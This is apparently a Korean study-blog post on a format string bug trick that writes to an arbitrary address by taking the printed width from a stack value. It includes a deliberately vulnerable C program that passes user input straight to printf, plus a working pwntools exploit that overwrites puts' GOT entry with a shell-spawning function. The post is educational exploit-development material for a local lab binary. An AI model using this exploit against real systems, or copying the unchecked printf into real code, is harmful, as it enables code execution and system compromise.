FSB에서의 임의 주소 쓰기
기존의 사용하던 방법은 %c를 이용해 공백 문자를 원하는 값의 정수만큼 출력하여 임의 주소에 출력하도록 하였다.
ex) %1337c%8$n
이번에 구글링을 하면서 페이로드의 길이를 어느정도 줄일 수 있는 방법, 그리고 스택의 값을 FSB의 출력값으로 사용할 수 있는 방법을 알게 되었다. 스택의 특정 인덱스를 지정하여 해당 위치의 값을 출력할 값으로 정하는 것이다. 이 때 인덱스는 인자 전달 순서의 인덱스를 말한다. 6 = rsp, 7 = rsp + 0x8 .... 다음 예시는 rsp + 0x10에 위치한 값을 출력 값으로 지정하고 rsp+0x20에 있는 주소에 값을 출력하는 예시이다. %c, %s, %p 모두 사용 가능하다.
ex) %*8$c%10$zn
Example
다음과 같은 예시 코드를 작성하였다.
// gcc -o -fno-stack-protector -fno-pie -no-pie
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
void get_shell()
{
system("/bin/sh");
}
int vuln()
{
char buf[0x20];
puts("input : ");
read(0, buf, 0x20);
printf(buf);
}
int main()
{
vuln();
puts("finished!\n");
return 0;
}
Scenario
get_shell 함수의 주소를 스택에 넣는다. 그리고 get_shell의 주소가 들어가는 위치의 인덱스를 출력 값으로 지정한다.
puts의 GOT를 aaw 목표 주소로 설정하여 get_shell의 값을 출력한다.
Exploit
from pwn import *
e = context.binary = ELF('./fsb2')
p = process()
context.log_level = 'debug'
payload = b'%*8$c%9$znAAAAAA'
payload += p64(e.sym['get_shell'])
payload += p64(e.got['puts'])
p.send(payload)
p.interactive()

read 직후의 스택 모습을 보면, rsp+0x10에 get_shell의 주소, rsp+0x18에 puts GOT가 들어간 것을 볼 수 있다.

FSB 이후 puts의 GOT가 get_shell로 덮인 것을 확인할 수 있다.
이 방법의 단점은 한번에 많은 값을 쓰기때문에 해당 값을 쓰는동안 서버와 연결이 끊길 수 있다는 점이다.
하지만 스택의 값을 쓸 수 있다는 점에서 스택에 덮어쓸만한 값이 이미 들어있다면 예시 코드처럼 스택에 출력할 값을 직접 넣지 않고
사용할 수 있다는 점에서 장점이 있다.
FSB에서 처음 보는 신기한 방법이라서 참고하였다.
Reference : https://wyv3rn.tistory.com/417
format string bug - 스택의 값을 출력 값으로 쓸 수 없을까?
서론 최근에 format string bug 문제를 풀던 와중에, 스택의 값 자체를 쓸 수 있는 방법이 없을까 고민하다 정말 그 방법이 있다는 것을 알게되어 정리한다. 본론 간단히 예를 들어보자. 아래와 같이
wyv3rn.tistory.com
'PWN > 개념' 카테고리의 다른 글
| FSOP - vtables, bypass _IO_validate_vtable (1) | 2025.08.27 |
|---|---|
| FSOP - template/_flags (0) | 2025.08.27 |
| ROP에서 dup2를 이용한 리버스쉘 (0) | 2025.08.20 |
| Pwntools를 이용한 ROP 페이로드 작성 방법 (2) | 2025.07.30 |
| Format String Bug(FSB) 취약점 (1) | 2025.07.27 |